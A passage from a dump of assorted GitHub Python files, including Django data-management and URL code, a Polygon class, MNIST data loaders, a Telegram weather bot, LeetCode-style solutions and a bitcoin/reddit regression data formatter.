\"what_happened_start\", \"end_time\", \"type\",\n # \"what_happened_end\", \"time_source\", \"time_uncertainty\",\n # \"general_comments\"],\n # extrasaction=\"ignore\")\n\n\n csv_writer = csv.DictWriter(output_file, [\"ace_sample_number\", \"project_sample_number\", \"event_number\",\n \"julian_day\", \"leg\", \"contents\", \"specific_contents\",\n \"crate_number\", \"storage_type\", \"storage_location\",\n \"preservation\", \"offloading_port\", \"destination\"],\n extrasaction=\"ignore\")\n\n csv_writer.writeheader()\n\n counter = 1\n for row in rows:\n\n row['event_number'] = row_index_to_events[counter]\n row['project_sample_number'] = row[\"Sample #\"]\n\n if counter < 8:\n leg_number=1\n elif counter < 48:\n leg_number = 2\n else:\n leg_number = 3\n\n row['ace_sample_number'] = '=\"AT/ACE/{}/19/\"&D{}&\"/\"&C{}&\"/PR/\"&B{}'.format(leg_number, counter+1, counter+1, counter+1)\n csv_writer.writerow(row)\n counter += 1\n\n output_file.close()\n print(\"See file {}\".format(filepath))\n\n","repo_name":"Swiss-Polar-Institute/science-cruise-data-management","sub_path":"ScienceCruiseDataManagement/main/management/commands/importevents.py","file_name":"importevents.py","file_ext":"py","file_size_in_byte":16078,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"47"} +{"seq_id":"6391339017","text":"class Solution(object):\n def maxProfit(self, prices):\n if len(prices) <= 1:\n return 0\n max_diff = 0\n cur_min = prices[0]\n for i in range(1, len(prices)):\n diff = prices[i] - cur_min\n max_diff = max(max_diff, diff)\n cur_min = min(cur_min, prices[i])\n return max_diff\n\nsol = Solution()\nnums = [7, 1, 5, 3, 6, 4]\nassert sol.maxProfit(nums) == 5\n\n\n\n","repo_name":"mengyx-work/CS_algorithm_scripts","sub_path":"leetcode/LC_121_Best_Time_to_Buy_and_Sell_Stock.py","file_name":"LC_121_Best_Time_to_Buy_and_Sell_Stock.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"21977629273","text":"#polygon.py\nimport math\n\nclass Polygon:\n\n def __init__(self, edges_val, circum_radius_val):\n '''\n Class Initializer - Runs once an instance is created for the class\n Before setting values, checks for the validity of input variables and raise ValueError for invalid inputs\n '''\n if(edges_val <= 2 or circum_radius_val <= 0 or not isinstance(edges_val, int) or\n (not isinstance(circum_radius_val, int) and not isinstance(circum_radius_val, float))):\n raise ValueError(f'Not Supported Inputs {edges_val}, {circum_radius_val}')\n self._edges = edges_val #n\n self._circum_radius = circum_radius_val #R\n self._vertices = None\n self._angle = None\n self._apothem = None\n self._area = None\n self._edge_len = None\n self._perimeter = None\n self._strictconvex = None\n self._vertices = None\n\n\n def __iter__(self):\n return None\n\n def __next__(self):\n return None\n\n @property\n def edges(self):\n '''\n Getter function for edges variable\n Returns the edges of the Polygon to the caller\n '''\n return self._edges\n\n @property\n def circum_radius(self):\n '''\n Getter function for circum_radius variable\n Returns the circum_radius of the Polygon to the caller\n '''\n return self._circum_radius\n\n @property\n def vertices(self): #n\n '''\n Getter function for verices variable\n This is a private variable and is same as edges for a Convex Polygon\n '''\n if self._vertices is None:\n print('Setting vertices')\n self._vertices = self._edges\n else:\n print('Re-using previously computed vertices')\n return int(f'{self._vertices}')\n\n @property\n def interior_angle(self): #A\n '''\n Getter function for interior_angle variable\n This is a private variable and computed using the formula: (n-2)*180/n [n - Edges]\n '''\n if self._angle is None:\n print('Calculating interior angle')\n self._angle = ((self._edges - 2) * 180/self._edges)\n else:\n print('Re-using previously computed interior angle')\n return float(f'{self._angle:.4f}')\n\n @property\n def edge_length(self): #s\n '''\n Getter function for edge_length variable\n This is a private variable and computed using the formula: 2*R*Sin(Pi/n) [R: CircumRadius, n: Edges]\n '''\n if self._edge_len is None:\n print('Calculating edge_len')\n self._edge_len = (2 * self._circum_radius * math.sin(math.pi/self._edges))\n else:\n print('Re-using previously computed edge length')\n return float(f'{self._edge_len:.4f}')\n\n @property\n def apothem(self): #a\n '''\n Getter function for apothem variable\n This is a private variable and computed using the formula: R*Cos(Pi/n) [R: CircumRadius, n: Edges]\n '''\n if self._apothem is None:\n print('Calculating apothem')\n self._apothem = (2 * self._circum_radius * math.cos(math.pi/self._edges))\n else:\n print('Re-using previously computed apothem')\n return float(f'{self._apothem:.4f}')\n\n @property\n def area(self): #nsa/2\n '''\n Getter function for area variable\n This is a private variable and computed using the formula: (n*s*a)/2 [n: Edges, s: Apothem]\n '''\n if self._area is None:\n print('Calculating area')\n self._area = (self._edges * self.edge_length * self.apothem)/2\n else:\n print('Re-using previously computed area')\n return float(f'{self._area:.4f}')\n\n @property\n def perimeter(self): #ns\n '''\n Getter function for perimeter variable\n This is a private variable and computed using the formula: (n*s) [n: Edges, s: Apothem]\n '''\n if self._perimeter is None:\n print('Calculating perimeter')\n self._perimeter = (self._edges * self.edge_length)\n else:\n print('Re-using previously computed perimeter')\n return float(f'{self._perimeter:.4f}')\n\n @property\n def isstrictconvex_polygon(self):\n '''\n Getter function for is strict convex polygon property\n This is a private variable and is computed based on interior angle and edge length\n A strict regular convex polygon is a polygon, with all its interior angles < 180 and all sides have equal length\n '''\n if self._strictconvex is None:\n print('Setting strictconvex polygon or not')\n self._strictconvex = (self._angle < 180)\n else:\n print('Re-using previously computed convex property')\n return self._strictconvex\n\n def __repr__(self):\n return f'Polygon(Edges, n = {self._edges}, CircumRadius, R = {self._circum_radius})'\n\n def __str__(self):\n return f'Polygon Edges, n = {self._edges} CircumRadius, R = {self._circum_radius}'\n\n def __eq__(self, other):\n '''\n Equality Comparison\n If the input object is of type Polygon\n its vertices and circum_radius are same as that of the current object\n then\n returns True\n else\n returns False\n Else\n Raises ValueError\n '''\n if isinstance(other, Polygon):\n return (self.vertices == other.vertices and self._circum_radius == other._circum_radius)\n else:\n raise ValueError(f'The input object{other} is not of Polygon type')\n\n def __gt__(self, other):\n '''\n Greater Than Comparison\n If the input object is of type Polygon\n Compares the vertices of both objects and returns True or False\n Else\n Raises ValueError\n '''\n if isinstance(other, Polygon):\n return self.vertices > other.vertices\n else:\n raise ValueError(f'The input object{other} is not of Polygon type')","repo_name":"mayankShaarma/session14-kranti-experiments","sub_path":"polygon.py","file_name":"polygon.py","file_ext":"py","file_size_in_byte":6103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"72577222221","text":"from django.urls import path, include\nfrom django.conf.urls import url\nfrom panel import views\nfrom .routers import router\nfrom .ifaces import iplist\n\n\nurlpatterns = [\n\n path('', views.IndexView.as_view(), name = 'index'),\n\n#Здесь записываю конфигурацию в конфиг нимбла\n url('write_config/', views.write_config, name = 'write_config'),\n\n#URL источников\n path('sources/', views.SourcesList.as_view(), name = 'sources_list'),\n path('sources/', views.SourceDetail.as_view(), name='source_detail'),\n path('source/create', views.SourceCreate.as_view(), name='source_create'),\n path('source/update/', views.SourceUpdate.as_view(), name='source_update'),\n path('source/delete/', views.SourceDelete.as_view(), name='source_delete'),\n\n#Исходящих потоков\n path('streams/', views.StreamsList.as_view(), name='streams_list'),\n path('streams/', views.StreamDetail.as_view(), name='stream_detail'),\n path('stream/create', views.StreamCreate.as_view(), name='stream_create'),\n path('stream/update/', views.StreamUpdate.as_view(), name='stream_update'),\n path('stream/delete/', views.StreamDelete.as_view(), name='stream_delete'),\n\n#DRF API\n\n path('api/', include(router.urls)),\n path('api/rest-auth/', include('rest_auth.urls'))\n\n]\n","repo_name":"dkostya/nimble","sub_path":"panel/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1372,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"33268963514","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('new_card', views.new_card, name='new_card'),\n path('reveal_card', views.reveal_card, name='reveal_card'),\n path('new_game', views.new_game, name='new_game'),\n path('replace_card', views.replace_card, name='replace_card')\n]\n","repo_name":"ryangrose/coup-online","sub_path":"coup/deck/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"37730046060","text":"# Advantages and Disadvantages of Lists, Tuples, Sets, and Dict in Python\n\n# Lists:\n# Advantages:\n# - Mutable (can be modified)\n# - Supports indexing and slicing\n# - Can store duplicate elements\n# Disadvantages:\n# - Slower for lookups compared to sets and dictionaries\n# - Inefficient for large-scale operations due to dynamic resizing\n\nmy_list = [1, 2, 3, 4, 5]\nmy_list.append(6) # Lists are mutable\nprint(\"List:\", my_list)\n\n# Tuples:\n# Advantages:\n# - Immutable (cannot be modified)\n# - Faster than lists for iteration\n# - Can be used as dictionary keys\n# Disadvantages:\n# - Cannot add or remove elements after creation\n# - Limited functionality compared to lists\n\nmy_tuple = (1, 2, 3, 4, 5)\n# my_tuple.append(6) # This will raise an error\nprint(\"Tuple:\", my_tuple)\n\n# Sets:\n# Advantages:\n# - Unordered collection of unique elements\n# - Very fast membership tests (O(1))\n# - Supports set operations (union, intersection, etc.)\n# Disadvantages:\n# - Cannot access elements by index\n# - Does not allow duplicate values\n\nmy_set = {1, 2, 3, 4, 5}\nmy_set.add(6)\nprint(\"Set:\", my_set)\n\n# Dictionaries:\n# Advantages:\n# - Key-Value pairs for efficient data retrieval\n# - Keys are unique and immutable\n# - Supports dictionary-specific methods (keys, values, items)\n# Disadvantages:\n# - No guaranteed order (before Python 3.7, dictionaries were unordered)\n# - Overhead in terms of memory usage\n\nmy_dict = {'one': 1, 'two': 2, 'three': 3}\nmy_dict['four'] = 4\nprint(\"Dictionary:\", my_dict)\n\n# Summary:\n# - Lists are versatile but slower for lookups.\n# - Tuples are immutable and faster for iteration.\n# - Sets are useful for unique, unordered data with fast membership tests.\n# - Dictionaries are great for key-value pairs and efficient data retrieval.\n","repo_name":"applepie787/my_test_repo","sub_path":"chatGPT생성코드.py","file_name":"chatGPT생성코드.py","file_ext":"py","file_size_in_byte":1744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"19188876827","text":"import os\nimport numpy as np\nimport torch\nfrom torchvision import datasets, transforms\nfrom datasets.sbmnist import load_sbmnist_image\n\n\nclass StackedMNIST(datasets.MNIST):\n def __init__(self, root, train=True, transform=None, target_transform=None, download=False):\n super().__init__(root=root, transform=transform, target_transform=target_transform, download=download)\n\n def __getitem__(self, index):\n # get indices\n mnist_size = self.__len__()\n indices = np.random.randint(mnist_size, size=2)\n index1 = indices[0] \n index2 = indices[1]\n index3 = index\n\n # get item\n img1, target1 = super().__getitem__(index1)\n img2, target2 = super().__getitem__(index2)\n img3, target3 = super().__getitem__(index3)\n target = 100*target1 + 10*target2 + 1*target3\n img = torch.cat([img1, img2, img3], dim=0)\n return img, target\n\ndef get_mnist_transform(image_size=28, binary=False, center=False):\n # resize image\n if image_size != 28:\n trsfms = [transforms.Resize(image_size)]\n else:\n trsfms = []\n\n # default\n trsfms += [transforms.ToTensor()]\n\n # binary\n if binary:\n trsfms += [torch.bernoulli]\n\n # center\n if center:\n trsfms += [transforms.Normalize((0.5,), (0.5,))]\n\n # return\n return transforms.Compose(trsfms)\n\ndef get_mnist(train_batch_size, eval_batch_size, dataset, kwargs, binary=False, center=False, image_size=28, val_size=10000, final_mode=False):\n assert dataset in ['mnist', 'cmnist', 'dbmnist', 'dbmnist-val5k',]\n if dataset in ['mnist', 'cmnist', 'dbmnist', 'dbmnist-val5k']:\n DATASET = datasets.MNIST\n nclasses = 10\n else:\n raise NotImplementedError\n\n # init dataset (train / val)\n train_dataset = DATASET('data', train=True, download=True, transform=get_mnist_transform(binary=binary, center=center, image_size=image_size))\n val_dataset = DATASET('data', train=True, download=True, transform=get_mnist_transform(binary=binary, center=center, image_size=image_size)) if not final_mode else None\n\n # final mode\n if not final_mode:\n n = len(train_dataset.data)\n split_filename = os.path.join('data/MNIST', '{}-val{}-split.pt'.format(dataset, val_size))\n if os.path.exists(split_filename):\n indices = torch.load(split_filename)\n else:\n indices = torch.from_numpy(np.random.permutation(n))\n torch.save(indices, open(split_filename, 'wb'))\n train_dataset.data = torch.index_select(train_dataset.data, 0, indices[:n-val_size])\n train_dataset.targets = torch.index_select(train_dataset.targets, 0, indices[:n-val_size])\n val_dataset.data = torch.index_select(val_dataset.data, 0, indices[n-val_size:])\n val_dataset.targets = torch.index_select(val_dataset.targets, 0, indices[n-val_size:])\n else:\n pass\n\n # init dataset test\n test_dataset = DATASET('data', train=False, transform=get_mnist_transform(binary=binary, center=center, image_size=image_size))\n\n # init dataloader\n train_loader = torch.utils.data.DataLoader(train_dataset,\n batch_size=train_batch_size, shuffle=True, **kwargs)\n val_loader = torch.utils.data.DataLoader(val_dataset,\n batch_size=eval_batch_size, shuffle=False, **kwargs) if not final_mode else None\n test_loader = torch.utils.data.DataLoader(test_dataset,\n batch_size=eval_batch_size, shuffle=False, **kwargs)\n\n # init info\n info = {}\n info['nclasses'] = nclasses\n\n return train_loader, val_loader, test_loader, info\n\ndef get_sbmnist(train_batch_size, eval_batch_size, dataset, kwargs, final_mode=False):\n # get bmnist\n train_data, val_data, test_data = load_sbmnist_image('data')\n train_labels, val_labels, test_labels = torch.zeros(50000).long(), torch.zeros(10000).long(), torch.zeros(10000).long()\n\n # final mode\n if final_mode:\n train_data = torch.cat([train_data, val_data], dim=0)\n train_labels = torch.cat([train_labels, val_labels], dim=0)\n val_data = None\n val_labels = None\n\n # init datasets\n train_dataset = torch.utils.data.TensorDataset(train_data, train_labels)\n val_dataset = torch.utils.data.TensorDataset(val_data, val_labels) if not final_mode else None\n test_dataset = torch.utils.data.TensorDataset(test_data, test_labels)\n\n # init dataloader\n train_loader = torch.utils.data.DataLoader(train_dataset,\n batch_size=train_batch_size, shuffle=True, **kwargs)\n val_loader = torch.utils.data.DataLoader(val_dataset,\n batch_size=eval_batch_size, shuffle=False, **kwargs) if not final_mode else None\n test_loader = torch.utils.data.DataLoader(test_dataset,\n batch_size=eval_batch_size, shuffle=False, **kwargs)\n\n # init info\n info = {}\n info['nclasses'] = 10\n\n return train_loader, val_loader, test_loader, info\n\ndef get_image_dataset(dataset, train_batch_size, eval_batch_size=None, cuda=False, final_mode=False):\n # init arguments\n if eval_batch_size is None:\n eval_batch_size = train_batch_size\n kwargs = {'num_workers': 4, 'pin_memory': True} if cuda else {}\n\n # get dataset\n if dataset in ['mnist']:\n return get_mnist(train_batch_size, eval_batch_size, dataset, kwargs, image_size=28, binary=False, center=False, final_mode=final_mode)\n elif dataset in ['cmnist']:\n return get_mnist(train_batch_size, eval_batch_size, dataset, kwargs, image_size=28, binary=False, center=True, final_mode=final_mode)\n elif dataset in ['dbmnist']:\n return get_mnist(train_batch_size, eval_batch_size, dataset, kwargs, image_size=28, binary=True, center=False, final_mode=final_mode)\n elif dataset in ['dbmnist-val5k']:\n return get_mnist(train_batch_size, eval_batch_size, dataset, kwargs, image_size=28, binary=True, center=False, val_size=5000, final_mode=final_mode)\n elif dataset in ['sbmnist']:\n return get_sbmnist(train_batch_size, eval_batch_size, dataset, kwargs, final_mode=final_mode)\n elif dataset in ['mnist32']:\n return get_mnist(train_batch_size, eval_batch_size, dataset, kwargs, image_size=32, binary=False, center=False, final_mode=final_mode)\n else:\n raise NotImplementedError('dataset: {}'.format(dataset))\n","repo_name":"lim0606/pytorch-ardae-vae","sub_path":"datasets/mnist.py","file_name":"mnist.py","file_ext":"py","file_size_in_byte":6340,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"47"} +{"seq_id":"1424910295","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Sep 11 21:03:56 2020\n\n@author: brianf\n\"\"\"\n\n\ndef getWays(n, c):\n # each index in memo stores how many of the coin combinations add up to the index number\n memo = [1] + [0]*n\n for coin in c:\n for j in range(n - coin + 1):\n if memo[j] > 0:\n memo[j+coin] += memo[j]\n\n return memo[-1]\n\nn = 10\nc = [2,5,3,6]\n\nans = getWays(n,c)","repo_name":"bfavis2/hackerrank","sub_path":"algorithms/dynamic-programming/coin-change.py","file_name":"coin-change.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"74938806221","text":"# -*- coding: utf-8 -*-\n\n\"\"\"Main module.\"\"\"\n\nimport numpy as np\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis\n\ndef tryLDA():\n X = np.array([[-1, -1], [-2, -1], [-3, -2], [1, 1], [2, 1], [3, 2]])\n y = np.array([1, 1, 1, 2, 2, 2])\n clf = LinearDiscriminantAnalysis()\n clf.fit(X, y)\n print(clf.predict([[-0.8, -1]]))","repo_name":"jzhang/MLLearn","sub_path":"MLlearn/MLlearn.py","file_name":"MLlearn.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"39364968821","text":"from bot import bot\nfrom telebot.types import Message, InputMediaPhoto\nimport os\nimport tempfile\nimport download_image\nimport delete_image\nfrom download_image import get_update_info_from_website\n\n\n@bot.message_handler(commands=['start'])\ndef send_welcome(message: Message):\n bot.send_message(message.chat.id, 'Привіт, обери команду щоб отримати прогноз погоди')\n\n\n@bot.message_handler(commands=['today'])\ndef today_images(message: Message):\n update_info = get_update_info_from_website()\n send_images(message=message, day=0, text='Погода на сьогодні\\n'+'_'+update_info+'_')\n\n\n@bot.message_handler(commands=['tomorrow'])\ndef tomorrow_images(message: Message):\n update_info = get_update_info_from_website()\n send_images(message=message, day=1, text='Погода на завтра\\n' + '_' + update_info + '_')\n\n\n@bot.message_handler(commands=['in_1_day'])\ndef in_1_day_images(message: Message):\n update_info = get_update_info_from_website()\n send_images(message=message, day=2, text='Погода на післязавтра\\n' + '_' + update_info + '_')\n\n\n@bot.message_handler(commands=['in_2_days'])\ndef in_2_days_images(message: Message):\n update_info = get_update_info_from_website()\n send_images(message=message, day=3, text='Погода на через 2 дні\\n' + '_' + update_info + '_')\n\n\n@bot.message_handler(commands=['in_3_days'])\ndef in_2_days_images(message: Message):\n update_info = get_update_info_from_website()\n send_images(message=message, day=4, text='Погода на через 3 дні\\n' + '_' + update_info + '_')\n\n\n@bot.message_handler(commands=['in_4_days'])\ndef in_2_days_images(message: Message):\n update_info = get_update_info_from_website()\n send_images(message=message, day=5, text='Погода на через 4 дні\\n' + '_' + update_info + '_')\n\n\ndef send_images(message: Message, day, text):\n weather_types = [['t', 'Температура повітря'],\n ['gust', 'Пориви вітру'],\n ['h', 'Вологість повітря'],\n ['o', 'Опади'],\n ['c', 'Хмарність']]\n\n path = str(message.chat.id) + '_' + str(message.id)\n try:\n os.mkdir(path)\n except OSError:\n print(\"Creation of the directory %s failed\" % path)\n else:\n print(\"Successfully created the directory %s \" % path)\n\n day = day\n bot.send_message(message.chat.id, text, parse_mode='markdown')\n\n for type in weather_types:\n media = []\n pictures_to_send = []\n download_image.download_images_of_day(day, weather_type=type[0], path=path)\n\n for i in range(4):\n try:\n tmp_pic = open(path + '/' + str(i) + \".png\", \"rb\")\n pictures_to_send.append(tmp_pic)\n if i == 0:\n media.append(InputMediaPhoto(pictures_to_send[i], caption=type[1]))\n else:\n media.append(InputMediaPhoto(pictures_to_send[i]))\n except:\n print(str(i) + \".png not found for adding to album \")\n\n bot.send_media_group(message.chat.id, media)\n\n for image in pictures_to_send:\n image.close()\n\n delete_image.removing_image(path)\n\n try:\n os.rmdir(path)\n except OSError:\n print(\"Deletion of the directory %s failed\" % path)\n else:\n print(\"Successfully deleted the directory %s\" % path)\n\n print('Done sending')\n\n\n# if __name__ == '__main__':\n# bot.polling(none_stop=True)\n","repo_name":"ayudov/meteopost_bot","sub_path":"bot_handlers.py","file_name":"bot_handlers.py","file_ext":"py","file_size_in_byte":3602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"70598618064","text":"import json\nimport re\nfrom os.path import dirname, realpath\nfrom textblob import TextBlob\nfrom dateutil.parser import parse\nimport datetime as dt\nfrom dateutil.relativedelta import relativedelta\n\nwith open('redditFinal.json') as f:\n reddit = json.load(f)\n\nwith open('bitcoinCD.json') as g:\n bit = json.load(g)\n\n\ndef addZero(num):\n if num < 10:\n res = str(num)\n return \"0\" + res\n else:\n return str(num)\n\ndef getDayAfter(date):\n temp = date.split(\"-\")\n month = int(temp[0])\n day = int(temp[1])\n year = int(temp[2])\n if (month == 1 or month == 3 or month == 5 or month == 7 or month == 8 or month == 10 or month == 12):\n if (day != 31):\n newStr = addZero(month) + \"-\" + addZero(day+1) + \"-\" + str(year)\n return newStr\n else:\n if (month != 12):\n return addZero(month + 1) + \"-\" + addZero(1) + \"-\" + str(year)\n else:\n return addZero(1) + \"-\" + addZero(1) + \"-\" + str(year+1)\n if (month == 4 or month == 6 or month == 9 or month == 11):\n if (day != 30):\n newStr = addZero(month) + \"-\" + addZero(day + 1) + \"-\" + str(year)\n return newStr\n else:\n return addZero(month+1) + \"-\" + addZero(1) + \"-\" + str(year)\n if (month == 2):\n if (year == 2016):\n if (day != 29):\n return addZero(month) + \"-\" + addZero(day+1) + \"-\" + str(year)\n else:\n return addZero(month+1) + \"-\" + addZero(1) + \"-\" + str(year)\n else:\n if (day != 28):\n return addZero(month) + \"-\" + addZero(day+1) + \"-\" + str(year)\n else:\n return addZero(month+1) + \"-\" + addZero(1) + \"-\" + str(year)\n\ndef getXbefore(day, x):\n return (parse(day) - relativedelta(days=x)).strftime('%m-%d-%Y')\n\ndef getXDayTot(day, x):\n before = getXbefore(day, x)\n tot = 0\n totPos = 0\n totNeg = 0\n totNeut = 0\n counter = 0\n while(before != day):\n counter += 1\n tot += reddit[day][\"submissionCount\"]\n totPos += reddit[day][\"num_pos\"]\n totNeg += reddit[day][\"num_neg\"]\n totNeut += reddit[day][\"num_neut\"]\n before = getDayAfter(before)\n if counter > 10:\n print(\"error in x day tot\")\n break\n return tot, totPos, totNeg, totNeut\n\n\n# example = '03-06-2016'\n#\n# get7DayTot(example)\n\n\ndays = []\nregData = {}\n\ncounter = 0\n\nintersectDays = []\n# get all the days that are in both bitcoin and reddit data\nfor item in reversed(list(bit.keys())):\n if item in reddit:\n intersectDays.append(item)\ncounter = 0\nfor day in intersectDays:\n sevDayTot, sevDayPos, sevDayNeg, sevDayNeut = getXDayTot(day, 7)\n threeDayTot, threeDayPos, threeDayNeg, threeDayNeut = getXDayTot(day, 3)\n twentyfourChange = bit[day][\"change\"]\n closing = bit[day][\"close\"]\n regData[day] = {\"7DayTot\":sevDayTot,\"7DayPos\":sevDayPos,\"7DayNeg\":sevDayNeg,\"7DayNeut\":sevDayNeut,\n \"3DayTot\":threeDayTot, \"3DayPos\":threeDayPos,\"3DayNeg\":threeDayNeg,\"3DayNeut\":threeDayNeut,\n \"24Change\":twentyfourChange,\"close\":closing}\n # progress print line, every 30 dates so we dont slow down code too much\n counter += 1\n if counter == 30:\n counter = 0\n print(day)\n\n#\nwith open(dirname(realpath(__file__)) + '/regressionData.json', 'w') as outfile:\n json.dump(regData, outfile, indent=4)\n\n\n","repo_name":"bdeckey/cs1951aFinalProject","sub_path":"dataFormatter.py","file_name":"dataFormatter.py","file_ext":"py","file_size_in_byte":3443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"74440137743","text":"dy = [0, -1, -1, -1, 0, 1, 1, 1]\ndx = [-1, -1, 0, 1, 1, 1, 0, -1]\nn, m = map(int, input().split())\nboard = [list(map(int, input().split())) for _ in range(n)]\ncmd = [list(map(int, input().split())) for _ in range(m)]\ncloud = [[n - 2, 0], [n - 2, 1], [n - 1, 0], [n - 1, 1]]\nvisit = [[False] * n for _ in range(n)]\nanswer = 0\nfor d, s in cmd:\n next = []\n for y, x in cloud:\n ny = (y + dy[d - 1] * s) % n\n nx = (x + dx[d - 1] * s) % n\n board[ny][nx] += 1\n next.append([ny, nx])\n visit[ny][nx] = True\n for y in range(n):\n for x in range(n):\n for i in [1, 3, 5, 7]:\n if not visit[y][x]:\n continue\n ny = y + dy[i]\n nx = x + dx[i]\n if ny < 0 or nx < 0 or ny >= n or nx >= n or board[ny][nx] == 0:\n continue\n board[y][x] += 1\n cloud = []\n for y in range(n):\n for x in range(n):\n if board[y][x] < 2 or visit[y][x]:\n visit[y][x] = False\n continue\n board[y][x] -= 2\n cloud.append([y, x])\n\nfor arr in board:\n answer += sum(arr)\nprint(answer)","repo_name":"korjun1993/algo","sub_path":"src/boj/21610_마법사상어와비바라기.py","file_name":"21610_마법사상어와비바라기.py","file_ext":"py","file_size_in_byte":1184,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"} +{"seq_id":"29366007625","text":"\"\"\"SETTINGS FILE.\"\"\"\n\nfrom os.path import join, dirname\nfrom dotenv import load_dotenv\nimport os\n\ndotenv_path = join(dirname(__file__), '.env')\nload_dotenv(dotenv_path)\n\n\ndef environment_value(key, default=None):\n \"\"\"Helper to allow defaults.\"\"\"\n if key in os.environ:\n return os.environ[key]\n else:\n return default\n\nSEARCH = [environment_value('HASHTAG')]\n\n#\n# Twitter settings.\n#\nCONSUMER_KEY = environment_value('CONSUMER_KEY')\nCONSUMER_SECRET = environment_value('CONSUMER_SECRET')\nACCESS_TOKEN = environment_value('ACCESS_TOKEN')\nACCESS_TOKEN_SECRET = environment_value('ACCESS_TOKEN_SECRET')\n\n#\n# JSON file settings.\n#\nTOWN_DATA = environment_value('TOWN_DATA')\nCOUNTRY_DATA = environment_value('COUNTRY_DATA')\nGEOHASH_PRECISION = 3\n\n#\n# Place to store the working data.\n#\nDATASTORE_PATH = environment_value('DATASTORE_PATH', os.path.abspath('.'))\n\n#\n# Geohash box size.\n#\nif 'GEOHASH_PRECISION' in os.environ:\n GEOHASH_PRECISION = int(os.environ['GEOHASH_PRECISION'])\n\nWHITELIST = []\n\nCOUCHDB_SERVER = environment_value('COUCHDB_SERVER')\nCOUCHDB_DATABASE = environment_value('COUCHDB_DATABASE')\n\nBOOTSTRAP_VIEWS = {\n '_design/ancestor': {\n '_id': '_design/ancestor',\n 'views': {\n 'find': {\n 'map': 'function(doc){ if (doc.parent) { emit(doc.metakey, doc.parent);} else { emit(doc.metakey, doc._id); } }'\n },\n 'thread': {\n 'map': 'function(doc){ if (doc.parent) { emit(doc.parent, doc);} else { emit(doc._id, doc); } }'\n }\n }\n },\n '_design/event': {\n '_id': '_design/event',\n 'views': {\n 'all': {\n 'map': 'function(doc){ emit(doc.event_type, doc); }'\n },\n 'datetime': {\n 'map': 'function(doc){ emit(doc.event_type, doc.datetime); }'\n }\n }\n },\n}\n\nWEB_LINK = environment_value('WEB_LINK')\n","repo_name":"CornerstoneLabs/twittermap","sub_path":"search/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"13327078911","text":"\"\"\"practice URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.0/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nimport main.views\nimport comunity.views\nimport login.views\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('', main.views.main, name=\"main\"),\n path('comunity/', comunity.views.main_comu, name=\"comunity\"),\n path('no/', main.views.notyet, name=\"notyet\"),\n path('comunity/write/', comunity.views.post, name=\"post\"),\n path('comunity/create', comunity.views.create, name=\"create\"),\n path('comunity/delete', comunity.views.delete, name=\"delete\"),\n path('comunity//', comunity.views.detail, name=\"detail\"),\n path('login/', login.views.login, name=\"login\"),\n path('signup/', login.views.signup, name=\"signup\"),\n path('logout/', login.views.logout, name=\"logout\"),\n path('comunity//edit_page', comunity.views.edit_page, name=\"edit_page\"),\n path('comunity//edit', comunity.views.edit, name=\"edit\"),\n] \n","repo_name":"Songminseon/practice","sub_path":"practice/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"6948306121","text":"# this file holds functions that produce entailment measurements from the BSG inference API\nimport requests\nimport os\nfrom tqdm import tqdm\nfrom nltk.stem.wordnet import WordNetLemmatizer\nfrom nltk.stem.cistem import Cistem\n\nentailment_url = \"http://127.0.0.1:5000/entailment\"\n# english language lemmatizer\nlemmatizer = WordNetLemmatizer()\n# german language lemmatizer\nstemmer = Cistem()\n\n\ndef lemmatize_word(word, language='de'):\n if language == 'de':\n stemmed_segments = stemmer.segment(word)\n return stemmed_segments[0]\n if language == 'en':\n return lemmatizer.lemmatize(word)\n\n\ndef produce_entailment_measurements(input_word, input_word_list, input_word_list_name, output_path, language='de'):\n print(f'producing entailment results for {input_word} from reference list {input_word_list_name}')\n results = {}\n for word_2 in tqdm(input_word_list):\n if input_word != word_2:\n # lemmatize to avoid words of the same tree\n input_word_lemma = lemmatize_word(input_word, language)\n word2_lemma = lemmatize_word(word_2)\n if input_word_lemma != word2_lemma:\n key = input_word + '_' + word_2\n if key not in results.keys() and (word_2 + '_' + input_word) not in results.keys():\n params = {\"word1\": input_word, \"word2\": 